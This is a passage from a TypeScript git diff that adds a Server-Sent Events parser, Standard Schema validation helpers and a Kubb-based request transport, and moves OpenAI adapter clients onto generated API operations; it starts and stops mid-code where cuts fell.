AsyncGenerator { + if (!('getReader' in stream)) { + yield* stream + return + } + + const reader = stream.getReader() + try { + while (true) { + const { done, value } = await reader.read() + if (done) return + yield value + } + } finally { + await reader.cancel().catch(() => {}) + } +} + +function parseData(raw: string): TData { + try { + return JSON.parse(raw) as TData + } catch { + return raw as TData + } +} + +/** + * Parses a `text/event-stream` body as the WHATWG event stream specification does: an event is dispatched at its blank line + * when it holds `data`, `event` defaults to `message`, `id` carries across events until an empty `id` resets it, `retry` needs + * all digits, and an unfinished event at the end is dropped. `data` is parsed as JSON when it is valid and kept as text + * otherwise. Consume with `for await`, and break the loop to cancel the stream. + */ +type EventStreamInput = ReadableStream | AsyncIterable + +export async function* parseEventStream( + input: + | EventStreamInput + | (Pick & { + stream: EventStreamInput + cursor?: Cursor + }), +): AsyncGenerator> { + // The stream alone is the form earlier releases took. + const { + stream, + maxEventSize = 16 * 1024 * 1024, + terminator, + cursor = { lastEventId: '' }, + } = isStreamBody(input) ? { stream: input } : input + const decoder = new TextDecoder() + const tooLarge = `Server-sent event exceeds maxEventSize of ${maxEventSize} characters` + let type = '' + let data: Array = [] + let retry: number | undefined + let size = 0 + let line = '' + let endsWithCR = false + let pendingId = cursor.lastEventId + + const readField = (part: string) => { + const index = part.indexOf(':') + const name = index === -1 ? part : part.slice(0, index) + const value = index === -1 ? '' : part.slice(index + 1).replace(/^ /, '') + switch (name) { + case 'data': + data.push(value) + break + case 'event': + type = value + break + case 'id': + if (!value.includes('\u0000')) pendingId = value + break + case 'retry': + if (/^\d+$/.test(value)) retry = Number(value) + } + } + + for await (const chunk of readBytes(stream)) { + const decoded = decoder.decode(chunk, { stream: true }) + if (!decoded) continue + // A CRLF split across chunks already ended its line on the `\r`. + const text: string = + endsWithCR && decoded.startsWith('\n') ? decoded.slice(1) : decoded + endsWithCR = text.endsWith('\r') + + const parts = text.split(/\r\n|\r|\n/) + parts[0] = line + parts[0] + line = parts.pop() ?? '' + for (const part of parts) { + if (!part) { + // The ID is committed at the blank line, so a drop inside an event does not report an ID past the last full event. + cursor.lastEventId = pendingId + if (data.length) { + const raw = data.join('\n') + if (raw === terminator) return + yield { + data: parseData(raw), + event: type || 'message', + ...(cursor.lastEventId ? { id: cursor.lastEventId } : {}), + ...(retry !== undefined ? { retry } : {}), + } + } + type = '' + data = [] + retry = undefined + size = 0 + continue + } + // A comment line is dropped and does not count toward the event, but must fit the limit on its own. + if (part.startsWith(':')) { + if (part.length + 1 > maxEventSize) throw new RangeError(tooLarge) + continue + } + // A finished line counts one more character for its line break. + if (size + part.length + 1 > maxEventSize) throw new RangeError(tooLarge) + size += part.length + 1 + readField(part) + } + if ( + (line.startsWith(':') ? line.length : size + line.length) > maxEventSize + ) + throw new RangeError(tooLarge) + } +} + +function isStreamBody( + data: unknown, +): data is ReadableStream | AsyncIterable { + return ( + !!data && + typeof data === 'object' && + (Symbol.asyncIterator in data || 'getReader' in data) + ) +} + +/** + * Reads a call as typed Server-Sent Events, transformed and validated one by one, until the terminator or the end of the + * stream. A successful call whose body is not a stream, such as a decoded JSON answer, throws a `TypeError` with the body + * as its `cause`. A dropped connection ends the loop with the transport's error; `lastEventId` on the result is the ID + * to resume from. + */ +export async function toEventStream< + TData = unknown, + TResponse = NativeResponse, +>( + call: Promise>, + { + client, + config: options = {}, + ...meta + }: { + /** + * The client the call went through, for the validation settings a call does not set itself. + */ + client?: { getConfig: () => ValidationSettings } + config?: EventStreamOptions & ValidationSettings + /** + * `event` when the document types each event with its own `event` and `data`, or `data` when it types only the payload. + * @default 'data' + */ + shape?: 'event' | 'data' + /** + * Validates each event (`shape: 'event'`) or its `data` (`shape: 'data'`), after `transform`. + */ + validator?: StandardSchemaValidator + } = {}, +): Promise> { + const defaults = client?.getConfig() ?? {} + const onValidationError = + options.onValidationError ?? defaults.onValidationError + const validator = isValidationEnabled( + options.validate ?? defaults.validate, + 'response', + ) + ? meta.validator + : undefined + const cursor: Cursor = { lastEventId: '' } + const { + data: body, + error, + status, + contentType, + request, + response, + } = await call + const ok = status === undefined || (status >= 200 && status < 300) + // A transport decodes a JSON answer, so a success that is not a stream would otherwise end as an empty stream. + // A 204 or empty answer has no body, `undefined` or `null`, and still ends as an empty stream. + if (ok && body != null && !isStreamBody(body)) { + // `cause` is assigned, since the constructor option needs the ES2022 library a generated client cannot assume. + throw Object.assign( + new TypeError( + `Expected a text/event-stream body, got ${contentType ?? 'a body without a content type'}`, + ), + { cause: body }, + ) + } + + const validateEvent = async ( + event: ServerSentEvent, + ): Promise => { + if (!validator) return event + const value = meta.shape === 'event' ? event : event.data + const validated = await runValidator({ + validator, + value, + context: { direction: 'response', source: 'body' }, + onValidationError, + }) + // The schema may not declare `id` and `retry`, so the parsed value is merged over the event instead of replacing it. + return meta.shape === 'event' + ? { ...event, ...(validated as object) } + : { ...event, data: validated } + } + + async function* events(): AsyncGenerator> { + if (!isStreamBody(body)) return + // A consumer `break` or a failed event closes this loop, which cancels the reader. + for await (const event of parseEventStream({ + stream: body, + maxEventSize: options.maxEventSize, + terminator: options.terminator, + cursor, + })) { + yield (await validateEvent( + options.transform ? options.transform(event) : event, + )) as StreamEvent + } + } + + const stream = events() + return { + stream, + data: ok ? stream : undefined, + status, + error, + contentType, + request, + response, + get lastEventId() { + return cursor.lastEventId + }, + [Symbol.asyncIterator]: () => stream, + } +} diff --git a/packages/ai-utils/src/generated/kubb/standardSchema.ts b/packages/ai-utils/src/generated/kubb/standardSchema.ts new file mode 100644 index 0000000000..dc6f35a31f --- /dev/null +++ b/packages/ai-utils/src/generated/kubb/standardSchema.ts @@ -0,0 +1,204 @@ +/** + * A Standard Schema-compatible validator: a minimal duck-type covering Zod v3/v4, valibot, and + * arktype schemas. Only the `~standard.validate` method is required at runtime. + */ +export type StandardSchemaValidator = { + readonly '~standard': { + validate( + value: unknown, + ): StandardSchemaResult | Promise> + } +} + +/** + * The two possible outcomes of a Standard Schema `validate` call. A successful result carries + * `value`; a failed result carries `issues`. + */ +export type StandardSchemaResult = + | { readonly value: TOutput; readonly issues?: undefined } + | { readonly issues: ReadonlyArray } + +/** + * One validation issue from a Standard Schema `validate` call. + */ +export type StandardSchemaIssue = { + readonly message?: string + readonly path?: ReadonlyArray +} + +/** + * Thrown by `validateStandardSchema` when validation fails. Carries the raw `issues` array from + * the schema's `validate` result so callers receive a uniform error shape regardless of which + * schema library is in use. + */ +export class ParseError extends Error { + readonly issues: ReadonlyArray + + constructor({ + issues, + message, + }: { + issues: ReadonlyArray + message?: string + }) { + super(message ?? 'Validation failed') + this.name = 'ParseError' + this.issues = issues + } +} + +/** + * Validates `value` against a Standard Schema-compatible `schema`. Returns the parsed output on + * success; throws `ParseError` with the schema's `issues` on failure. Handles both sync and async + * `validate` implementations transparently. + * + * @example + * const pet = await validateStandardSchema(PetSchema, rawData) + */ +export async function validateStandardSchema( + schema: StandardSchemaValidator, + value: unknown, +): Promise { + const result = await schema['~standard'].validate(value) + if (result.issues) { + throw new ParseError({ issues: result.issues }) + } + return (result as { value: TOutput }).value +} + +/** + * Wraps an object schema so its keys match case-insensitively. + * Keys the schema does not declare pass through untouched. + * The declared keys are validated with `schema` under their declared names. + * Every key, and every issue path, keeps the casing the caller used. + * + * @param schema Standard Schema-compatible object schema. + * @param entries The record of keys the passed object schema validates. + * @example + * ```ts + * validator: { headers: toHeadersStandardSchema(putEventHeadersSchema, putEventHeadersSchema.shape) } + * ``` + */ +export function toHeadersStandardSchema( + schema: StandardSchemaValidator, + entries: Record, +): StandardSchemaValidator { + const declared = new Map( + Object.keys(entries).map((name) => [name.toLowerCase(), name]), + ) + + function validate( + value: unknown, + ): StandardSchemaResult | Promise> { + if (typeof value !== 'object' || value === null) { + return { issues: [{ message: 'Expected an object' }] } + } + + const originalKeys = new Map() + const declaredValues: Record = {} + const undeclaredValues: Record = {} + for (const [key, entry] of Object.entries(value)) { + const name = declared.get(key.toLowerCase()) + if (name === undefined) { + undeclaredValues[key] = entry + continue + } + originalKeys.set(name, key) + declaredValues[name] = entry + } + + const toOriginal = (key: string) => originalKeys.get(key) ?? key + const settle = ( + result: StandardSchemaResult, + ): StandardSchemaResult => { + if (result.issues) { + return { + issues: result.issues.map( + (issue): StandardSchemaIssue => ({ + ...issue, + path: issue.path?.map((segment, index) => + index === 0 && typeof segment === 'string' + ? toOriginal(segment) + : segment, + ), + }), + ), + } + } + const validated = Object.entries( + (result.value ?? {}) as Record, + ).map(([key, entry]) => [toOriginal(key), entry]) + return { + value: { ...undeclaredValues, ...Object.fromEntries(validated) }, + } + } + + const result = schema['~standard'].validate(declaredValues) + return result instanceof Promise ? result.then(settle) : settle(result) + } + + return { '~standard': { validate } } +} + +/** + * Identifies the value and request that failed validation in `onValidationError`. + */ +export type ValidationErrorContext = { + value: unknown + direction: 'request' | 'response' | 'error' + source: 'body' | 'path' | 'query' | 'headers' + method?: string + url?: string + status?: number +} + +/** + * Return `{ value }` to substitute a failed value, including `undefined`. Returning nothing rethrows the `ParseError`. + */ +export type ValidationErrorHandler = ( + error: ParseError, + context: ValidationErrorContext, +) => { value: unknown } | void | Promise<{ value: unknown } | void> + +/** + * Turns generated validation on or off. `false` skips every validator, an object skips only the directions set to `false`: + * `request` is the body, `params` are path, query, and header params, `response` and `error` are the response bodies. + * @default true + */ +export type ValidateOption = + | boolean + | { request?: boolean; params?: boolean; response?: boolean; error?: boolean } + +export function isValidationEnabled( + validate: ValidateOption | undefined, + direction: 'request' | 'params' | 'response' | 'error', +): boolean { + return typeof validate === 'object' + ? validate[direction] !== false + : validate !== false +} + +/** + * Runs a validator when there is one, handing a `ParseError` to `onValidationError` first, which may substitute the value. + */ +export async function runValidator({ + validator, + value, + context, + onValidationError, +}: { + validator: StandardSchemaValidator | undefined + value: T + context: Omit + onValidationError: ValidationErrorHandler | undefined +}): Promise { + if (!validator) return value + try { + return await validateStandardSchema(validator, value) + } catch (error) { + if (!onValidationError || !(error instanceof ParseError)) throw error + const handled = await onValidationError(error, { ...context, value }) + if (!handled) throw error + return handled.value as T + } +} diff --git a/packages/ai-utils/src/kubb.ts b/packages/ai-utils/src/kubb.ts new file mode 100644 index 0000000000..3caaa0c477 --- /dev/null +++ b/packages/ai-utils/src/kubb.ts @@ -0,0 +1,62 @@ +/** + * The runtime of the generated provider clients (Kubb fetch runtime), plus + * `sendWith`, which hands a generated request to a provider's own sender + * (retries, timeouts, provider errors) instead of the global `fetch`. + */ +import { createClient, getResponseContentType } from './generated/kubb/client' +import type { ClientInstance } from './generated/kubb/client' + +export * from './generated/kubb/client' +export * from './generated/kubb/sse' + +/** One request as a generated operation built it. */ +export interface GeneratedRequest { + method: string + /** The operation path with its path params and query, no base URL. */ + path: string + headers: Record + /** The serialized body: a JSON string, `FormData`, or `undefined`. */ + body: BodyInit | undefined + signal: AbortSignal | undefined +} + +/** + * A client for generated operations that sends each request through `send`. + * `send` resolves to the 2xx `Response` (it throws for anything else), and + * the call result's `response` is that `Response`, body unread. + * + * @example + * const { response } = await openaiPostEmbeddings({ + * client: sendWith((request) => http.request(request)), + * body, + * }) + * const json = await response.json() + */ +export function sendWith( + send: (request: GeneratedRequest) => Promise, +): ClientInstance { + return createClient({ + transport: async (request) => { + const response = await send({ + method: request.method, + path: request.url, + headers: request.headers, + body: request.body ?? undefined, + signal: request.signal, + }) + return { + // ponytail: the body stays unread. The provider layer reads it (JSON, + // SSE, or bytes), because Kubb parses neither SSE nor every audio type. + data: undefined, + status: response.status, + statusText: response.statusText, + headers: response.headers, + contentType: getResponseContentType(response.headers), + request: new Request(new URL(request.url, 'http://localhost'), { + method: request.method, + }), + response, + } + }, + }) +} diff --git a/packages/ai-utils/tests/kubb.test.ts b/packages/ai-utils/tests/kubb.test.ts new file mode 100644 index 0000000000..a85b614c0e --- /dev/null +++ b/packages/ai-utils/tests/kubb.test.ts @@ -0,0 +1,61 @@ +import { describe, expect, it } from 'vitest' +import { sendWith } from '../src/kubb' +import type { GeneratedRequest } from '../src/kubb' + +describe('sendWith', () => { + it('hands the built request to send and returns its Response unread', async () => { + const sent: Array = [] + const reply = new Response('{"ok":true}', { + headers: { 'content-type': 'application/json' }, + }) + const client = sendWith(async (request) => { + sent.push(request) + return await Promise.resolve(reply) + }) + + const result = await client({ + method: 'POST', + url: '/v1/items/{item_id}', + path: { item_id: 'a b' }, + body: { name: 'x' }, + contentType: { request: 'application/json' }, + }) + + expect(sent).toEqual([ + { + method: 'POST', + path: '/v1/items/a%20b', + headers: { 'Content-Type': 'application/json' }, + body: '{"name":"x"}', + signal: undefined, + }, + ]) + expect(result.response).toBe(reply) + expect(reply.bodyUsed).toBe(false) + }) + + it('passes a FormData body through without a content type', async () => { + let sent: GeneratedRequest | undefined + const client = sendWith(async (request) => { + sent = request + return await Promise.resolve(new Response(null, { status: 204 })) + }) + const form = new FormData() + form.append('file', new Blob(['x']), 'a.txt') + + await client({ + method: 'POST', + url: '/upload', + body: form, + contentType: { request: 'multipart/form-data' }, + }) + + expect(sent?.body).toBe(form) + expect(sent?.headers).toEqual({}) + }) + + it('lets the sender throw for a failed request', async () => { + const client = sendWith(() => Promise.reject(new Error('429'))) + await expect(client({ method: 'POST', url: '/x' })).rejects.toThrow('429') + }) +}) diff --git a/packages/ai-utils/vite.config.ts b/packages/ai-utils/vite.config.ts index f7670ef4f2..1f087fe62e 100644 --- a/packages/ai-utils/vite.config.ts +++ b/packages/ai-utils/vite.config.ts @@ -20,6 +20,7 @@ const config = defineConfig({ '**/*.test.ts', '**/*.config.ts', '**/types.ts', + 'src/generated/', ], include: ['src/**/*.ts'], }, @@ -29,7 +30,7 @@ const config = defineConfig({ export default mergeConfig( config, tanstackViteConfig({ - entry: ['./src/index.ts', './src/http/index.ts'], + entry: ['./src/index.ts', './src/http/index.ts', './src/kubb.ts'], srcDir: './src', cjs: false, }), diff --git a/packages/ai-vercel-gateway/src/adapters/embedding.ts b/packages/ai-vercel-gateway/src/adapters/embedding.ts index f4ec80b715..0db695687c 100644 --- a/packages/ai-vercel-gateway/src/adapters/embedding.ts +++ b/packages/ai-vercel-gateway/src/adapters/embedding.ts @@ -13,8 +13,10 @@ import type { EmbeddingResult, TokenUsage, } from '@tanstack/ai' -import type OpenAI_SDK from 'openai' -import type { OpenAIClientLike } from '@tanstack/openai-base' +import type { + OpenAIClientLike, + OpenaiPostEmbeddingsBody, +} from '@tanstack/openai-base' import type { VercelGatewayEmbeddingModel, VercelGatewayEmbeddingModelInputModalitiesByName, @@ -57,7 +59,7 @@ export class VercelGatewayEmbeddingAdapter< ) try { - const request: OpenAI_SDK.EmbeddingCreateParams = { + const request: OpenaiPostEmbeddingsBody = { ...mapped, model, input: texts, diff --git a/packages/ai-vercel-gateway/src/adapters/image.ts b/packages/ai-vercel-gateway/src/adapters/image.ts index 6850ed08d1..796c4c3155 100644 --- a/packages/ai-vercel-gateway/src/adapters/image.ts +++ b/packages/ai-vercel-gateway/src/adapters/image.ts @@ -13,8 +13,10 @@ import type { ImageGenerationOptions, ImageGenerationResult, } from '@tanstack/ai' -import type OpenAI_SDK from 'openai' -import type { OpenAIClientLike } from '@tanstack/openai-base' +import type { + OpenAIClientLike, + OpenaiPostImagesGenerationsBody, +} from '@tanstack/openai-base' import type { VercelGatewayImageModel, VercelGatewayImageModelInputModalitiesByName, @@ -76,7 +78,7 @@ export class VercelGatewayImageAdapter< const mapped = mapGatewayModelOptions( options.modelOptions as Record | undefined, ) - const request: OpenAI_SDK.Images.ImageGenerateParams = { + const request: OpenaiPostImagesGenerationsBody = { ...mapped, model, prompt, diff --git a/packages/openai-base/README.md b/packages/openai-base/README.md index 4f7a01003d..1868694b17 100644 --- a/packages/openai-base/README.md +++ b/packages/openai-base/README.md @@ -73,13 +73,15 @@ subclass override or a hook. ## How providers extend the bases -The base constructor takes a pre-built `OpenAI` client. Subclasses -construct the SDK with their own `baseURL` (and any other client -options) and pass it to `super`: +The base constructor takes an `OpenAIClientLike` client. Subclasses +build one with `createOpenAIClient`, passing their own `baseURL` (and any +other client options), and pass it to `super`: ```ts -import OpenAI from 'openai' -import { OpenAIBaseResponsesTextAdapter } from '@tanstack/openai-base' +import { + OpenAIBaseResponsesTextAdapter, + createOpenAIClient, +} from '@tanstack/openai-base' import type { GrokTextConfig } from '@tanstack/ai-grok' declare function withGrokDefaults(config: GrokTextConfig): GrokTextConfig @@ -89,7 +91,9 @@ class GrokTextAdapter< > extends OpenAIBaseResponsesTextAdapter { constructor(config: GrokTextConfig, model: TModel) { const options = withGrokDefaults(config) - super(model, 'grok', new OpenAI(options), { fetch: options.fetch }) + super(model, 'grok', createOpenAIClient(options), { + fetch: options.fetch, + }) } } ``` diff --git a/packages/openai-base/src/adapters/chat-completions-text.ts b/packages/openai-base/src/adapters/chat-completions-text.ts index 99dfadc9ad..7206ececab 100644 --- a/packages/openai-base/src/adapters/chat-completions-text.ts +++ b/packages/openai-base/src/adapters/chat-completions-text.ts @@ -37,6 +37,7 @@ import { toChatCompletionsToolChoice } from '../tools/tool-choice' import { convertToolsToChatCompletionsFormat } from './chat-completions-tool-converter' import type OpenAI from 'openai' import type { OpenAIClientLike } from '../client/index' +import type { OpenaiPostChatCompletionsBody } from '../generated/client/types' import type { StructuredOutputOptions, StructuredOutputResult, @@ -177,18 +178,17 @@ export abstract class OpenAIBaseChatCompletionsTextAdapter< { provider: this.name, model: this.model }, ) const streamOptions = this.streamOptions(options.model) + // @ts-expect-error public type mismatch: ChatCompletionCreateParamsStreaming vs OpenaiPostChatCompletionsBody, seed (number vs bigint) and top_logprobs (null) + const body: OpenaiPostChatCompletionsBody & { stream: true } = { + ...requestParams, + stream: true, + ...(streamOptions && { stream_options: streamOptions }), + } const stream = await clientFor( this.client, options, this.baseFetch, - ).chat.completions.create( - { - ...requestParams, - stream: true, - ...(streamOptions && { stream_options: streamOptions }), - }, - extractRequestOptions(options.request), - ) + ).chat.completions.create(body, extractRequestOptions(options.request)) yield* this.processStreamChunks(stream, options, aguiState) } catch (error: unknown) { @@ -344,25 +344,23 @@ export abstract class OpenAIBaseChatCompletionsTextAdapter< try { // Strip stream_options which is only valid for streaming calls - const { - stream_options: _, - stream: __, - ...cleanParams - } = requestParams as any + const { stream_options: _, stream: __, ...cleanParams } = requestParams chatOptions.logger.request( `activity=structuredOutput provider=${this.name} model=${this.model} messages=${chatOptions.messages.length}`, { provider: this.name, model: this.model }, ) + // @ts-expect-error public type mismatch: ChatCompletionCreateParamsStreaming vs OpenaiPostChatCompletionsBody, seed (number vs bigint) and top_logprobs (null) + const body: OpenaiPostChatCompletionsBody & { stream: false } = { + ...cleanParams, + stream: false, + response_format: responseFormat, + } const response = await clientFor( this.client, chatOptions, this.baseFetch, ).chat.completions.create( - { - ...cleanParams, - stream: false, - response_format: responseFormat, - }, + body, extractRequestOptions(chatOptions.request), ) @@ -513,17 +511,19 @@ export abstract class OpenAIBaseChatCompletionsTextAdapter< ) const streamOptions = this.streamOptions(chatOptions.model) + // @ts-expect-error public type mismatch: ChatCompletionCreateParamsStreaming vs OpenaiPostChatCompletionsBody, seed (number vs bigint) and top_logprobs (null) + const body: OpenaiPostChatCompletionsBody & { stream: true } = { + ...cleanParams, + stream: true, + ...(streamOptions && { stream_options: streamOptions }), + response_format: responseFormat, + } const stream = await clientFor( this.client, chatOptions, this.baseFetch, ).chat.completions.create( - { - ...cleanParams, - stream: true, - ...(streamOptions && { stream_options: streamOptions }), - response_format: responseFormat, - }, + body, extractRequestOptions(chatOptions.request), ) diff --git a/packages/openai-base/src/adapters/responses-text.ts b/packages/openai-base/src/adapters/responses-text.ts index 0d2d54d375..e5ba3b1737 100644 --- a/packages/openai-base/src/adapters/responses-text.ts +++ b/packages/openai-base/src/adapters/responses-text.ts @@ -49,6 +49,7 @@ import { import type { OpenAIUserToolName } from './responses-user-tools' import type OpenAI from 'openai' import type { OpenAIClientLike } from '../client/index' +import type { OpenaiPostResponsesBody } from '../generated/client/types' import type { StructuredOutputOptions, StructuredOutputResult, @@ -588,18 +589,17 @@ export abstract class OpenAIBaseResponsesTextAdapter< `activity=chat provider=${this.name} model=${this.model} messages=${options.messages.length} tools=${options.tools?.length ?? 0} stream=true`, { provider: this.name, model: this.model }, ) + // @ts-expect-error public type mismatch: ResponseCreateParams vs OpenaiPostResponsesBody, input, tools, tool_choice and top_logprobs + const body: OpenaiPostResponsesBody & { stream: true } = { + ...requestParams, + stream: true, + } const response = await clientFor( this.client, options, this.baseFetch, (fetch) => this.withFetch(fetch), - ).responses.create( - { - ...requestParams, - stream: true, - }, - extractRequestOptions(options.request), - ) + ).responses.create(body, extractRequestOptions(options.request)) yield* this.processStreamChunks( response, @@ -689,32 +689,27 @@ export abstract class OpenAIBaseResponsesTextAdapter< // Strip streaming-only fields a subclass override of mapOptionsToRequest // might have returned (parallel to chat-completions's structuredOutput // cleanup) — sending stream_options to a non-streaming call is a 4xx. - const { - stream: _stream, - stream_options: _streamOptions, - ...cleanParams - } = requestParams as Record - void _stream + // `stream: false` below also wins over a `stream` from an override. + const { stream_options: _streamOptions, ...cleanParams } = requestParams void _streamOptions chatOptions.logger.request( `activity=structuredOutput provider=${this.name} model=${this.model} messages=${chatOptions.messages.length}`, { provider: this.name, model: this.model }, ) + // @ts-expect-error public type mismatch: ResponseCreateParams vs OpenaiPostResponsesBody, input, tools, tool_choice and top_logprobs + const body: OpenaiPostResponsesBody & { stream: false } = { + ...cleanParams, + stream: false, + text: { + format: textFormat, + }, + } const response = await clientFor( this.client, chatOptions, this.baseFetch, (fetch) => this.withFetch(fetch), - ).responses.create( - { - ...(cleanParams as Omit), - stream: false, - text: { - format: textFormat, - }, - }, - extractRequestOptions(chatOptions.request), - ) + ).responses.create(body, extractRequestOptions(chatOptions.request)) // Extract text content from the response. `stream: false` narrows the // SDK return type to `Response`, but the explicit annotation makes @@ -874,20 +869,19 @@ export abstract class OpenAIBaseResponsesTextAdapter< { provider: this.name, model: this.model }, ) + // @ts-expect-error public type mismatch: ResponseCreateParams vs OpenaiPostResponsesBody, input, tools, tool_choice and top_logprobs + const body: OpenaiPostResponsesBody & { stream: true } = { + ...cleanParams, + stream: true, + text: { + format: textFormat, + }, + } const stream: AsyncIterable< ResponseStreamEvent | LegacyReasoningDeltaEvent > = await clientFor(this.client, chatOptions, this.baseFetch, (fetch) => this.withFetch(fetch), - ).responses.create( - { - ...cleanParams, - stream: true, - text: { - format: textFormat, - }, - }, - extractRequestOptions(chatOptions.request), - ) + ).responses.create(body, extractRequestOptions(chatOptions.request)) for await (const chunk of drainResponsesStream(stream)) { chatOptions.logger.provider( @@ -1235,6 +1229,7 @@ export abstract class OpenAIBaseResponsesTextAdapter< ).responses.compact( { model: options.model, + // @ts-expect-error public type mismatch: ResponseInput (convertMessagesToInput) vs InputItem[], item_reference, additional_tools, mcp_list_tools and tool_search items input: this.convertMessagesToInput(options.messages, options.model), ...(prompts.length > 0 && { instructions: prompts.map((p) => p.content).join('\n'), diff --git a/packages/openai-base/src/client/client.ts b/packages/openai-base/src/client/client.ts index f5581d181a..64e81f7a53 100644 --- a/packages/openai-base/src/client/client.ts +++ b/packages/openai-base/src/client/client.ts @@ -11,36 +11,49 @@ import { APIUserAbortError, OpenAIError, } from 'openai/core/error' +import { sendWith } from '@tanstack/ai-utils/kubb' +import { + openaiPostAudioSpeech, + openaiPostAudioTranscriptions, + openaiPostChatCompletions, + openaiPostEmbeddings, + openaiPostImagesEdits, + openaiPostImagesGenerations, + openaiPostResponses, + openaiPostResponsesCompact, + openaiPostVideos, +} from '../generated/client/sdk' import type { HttpRequest } from '@tanstack/ai-utils/http' +import type { ClientInstance } from '@tanstack/ai-utils/kubb' import type { ClientOptions, OpenAI } from 'openai' import type { AzureClientOptions } from 'openai/azure' import type { ChatCompletion, ChatCompletionChunk, - ChatCompletionCreateParamsBase, } from 'openai/resources/chat/completions/completions' import type { Response as OpenAIResponse, - ResponseCreateParamsBase, ResponseStreamEvent, } from 'openai/resources/responses/responses' +import type { CreateEmbeddingResponse } from 'openai/resources/embeddings' import type { - CreateEmbeddingResponse, - EmbeddingCreateParams, -} from 'openai/resources/embeddings' -import type { - ImageEditParamsBase, ImageEditStreamEvent, ImageGenStreamEvent, - ImageGenerateParamsBase, ImagesResponse, } from 'openai/resources/images' import type { Transcription, - TranscriptionCreateParamsBase, TranscriptionStreamEvent, TranscriptionVerbose, } from 'openai/resources/audio/transcriptions' +import type { + OpenaiPostAudioTranscriptionsBody, + OpenaiPostChatCompletionsBody, + OpenaiPostEmbeddingsBody, + OpenaiPostImagesEditsBody, + OpenaiPostImagesGenerationsBody, + OpenaiPostResponsesBody, +} from '../generated/client/types' import type { Base64EmbeddingResponse, OpenAIClientLike, @@ -53,6 +66,8 @@ interface ClientRequest extends Omit { headers?: RequestOptions['headers'] /** An `Accept` header that replaces the client one. */ accept?: string + /** The headers of a generated body (its content type). Request headers win. */ + bodyHeaders?: Record /** Resolve to the raw `Response`, not the parsed body. */ binary?: boolean /** The model of the body. Azure puts it in the deployment path. */ @@ -199,14 +214,21 @@ function appendFormValue(form: FormData, key: string, value: unknown) { } } -function toFormData(body: object) { +function toFormData(body: unknown) { const form = new FormData() - for (const [key, value] of Object.entries(body)) { + for (const [key, value] of Object.entries(isRecord(body) ? body : {})) { appendFormValue(form, key, value) } return form } +/** + * The body serializer of the multipart operations. It keeps the SDK form + * keys (`image[]`, `key[name]`), where the Kubb default repeats `image` and + * sends objects as JSON. + */ +const multipart = { body: ({ body }: { body: unknown }) => toFormData(body) } + /** The SDK `addRequestID`: a hidden `_request_id` on a JSON object. */ function addRequestID(value: unknown, response: Response) { if (isRecord(value)) { @@ -387,6 +409,7 @@ function fetchTransport( headers, // An `apiKey` function runs before each request, like in the SDK. typeof auth === 'function' ? await auth() : undefined, + request.bodyHeaders, request.accept ? { Accept: request.accept } : undefined, request.headers, ), @@ -422,6 +445,7 @@ function sdkTransport(load: () => Promise): Send { let client: Promise | undefined return async ({ accept, + bodyHeaders, binary: _binary, model: _model, timeout, @@ -435,10 +459,15 @@ function sdkTransport(load: () => Promise): Send { // The SDK checks a `timeout` key even when its value is undefined. ...(timeout !== undefined && { timeout }), // ponytail: this merge drops a `null` in the request headers. Only - // speech and video downloads set `accept`. - headers: accept - ? mergeHeaders({ Accept: accept }, request.headers) - : request.headers, + // generated bodies, speech, and video downloads take this path. + headers: + accept || bodyHeaders + ? mergeHeaders( + bodyHeaders, + accept ? { Accept: accept } : undefined, + request.headers, + ) + : request.headers, }) .asResponse() } @@ -474,12 +503,13 @@ function withDeployment( /** The SDK resource methods on top of one transport. */ function buildClient(send: Send, baseURL: string) { + // Reads a 2xx response: the SSE events of a stream, else the body. // `transform` maps each stream event, or the parsed body. - const call = async ( - request: ClientRequest, + const read = async ( + response: Response, + request: Omit, transform?: (value: unknown) => unknown, ) => { - const response = await send(request) if (request.stream) { const events = readEvents(response, request.signal ?? undefined) return (transform ? mapEvents(events, transform) : events) as T @@ -488,22 +518,51 @@ function buildClient(send: Send, baseURL: string) { return (transform ? transform(value) : value) as T } - // The SDK resource call: the method's request plus the per-request options. - const request = ( - method: ClientRequest['method'], - path: string, - options: RequestOptions | undefined, + // An operation that the OpenAPI document does not have. + const call = async ( + request: ClientRequest, + transform?: (value: unknown) => unknown, + ) => read(await send(request), request, transform) + + // A generated operation: it builds the path and the body, and `send` sends + // it with the client headers, retries, and errors. + const generated = async ( + operation: (client: ClientInstance) => Promise<{ response: Response }>, + request: Omit, + transform?: (value: unknown) => unknown, + ) => { + const { response } = await operation( + sendWith((built) => + send({ + ...request, + method: 'post', + path: built.path, + body: built.body, + bodyHeaders: built.headers, + }), + ), + ) + return read(response, request, transform) + } + + // The per-request options of an SDK resource call. + const options = ( + requestOptions: RequestOptions | undefined, extra: Omit = {}, ) => ({ - method, - path, - headers: options?.headers, - signal: options?.signal, - timeout: options?.timeout, - maxRetries: options?.maxRetries, - query: isRecord(options?.query) ? options.query : undefined, + headers: requestOptions?.headers, + signal: requestOptions?.signal, + timeout: requestOptions?.timeout, + maxRetries: requestOptions?.maxRetries, + query: isRecord(requestOptions?.query) ? requestOptions.query : undefined, ...extra, }) + const request = ( + method: ClientRequest['method'], + path: string, + requestOptions: RequestOptions | undefined, + extra: Omit = {}, + ) => ({ method, path, ...options(requestOptions, extra) }) // Each method result is the intersection of its SDK overload results, so // it fits every overload. The overloads of `OpenAIClientLike` give each @@ -513,12 +572,12 @@ function buildClient(send: Send, baseURL: string) { chat: { completions: { create: ( - body: ChatCompletionCreateParamsBase, - options?: RequestOptions, + body: OpenaiPostChatCompletionsBody, + requestOptions?: RequestOptions, ) => - call>( - request('post', '/chat/completions', options, { - body, + generated>( + (client) => openaiPostChatCompletions({ client, body }), + options(requestOptions, { model: body.model, stream: Boolean(body.stream), }), @@ -527,50 +586,63 @@ function buildClient(send: Send, baseURL: string) { }, }, responses: { - create: (body: ResponseCreateParamsBase, options?: RequestOptions) => - call>( - request('post', '/responses', options, { - body, + create: ( + body: OpenaiPostResponsesBody, + requestOptions?: RequestOptions, + ) => + generated>( + (client) => openaiPostResponses({ client, body }), + options(requestOptions, { model: body.model, stream: Boolean(body.stream), }), body.stream ? undefined : addOutputText, ), - compact: (body, options) => - call( - request('post', '/responses/compact', options, { - body, - model: body.model ?? undefined, - }), + compact: (body, requestOptions) => + generated( + (client) => openaiPostResponsesCompact({ client, body }), + options(requestOptions, { model: body.model ?? undefined }), ), }, embeddings: { - create: (body: EmbeddingCreateParams, options?: RequestOptions) => - call( + create: ( + body: OpenaiPostEmbeddingsBody, + requestOptions?: RequestOptions, + ) => + generated( // The SDK asks for base64 when no format is set, then decodes it. - request('post', '/embeddings', options, { - body: { - ...body, - encoding_format: body.encoding_format || 'base64', - }, - 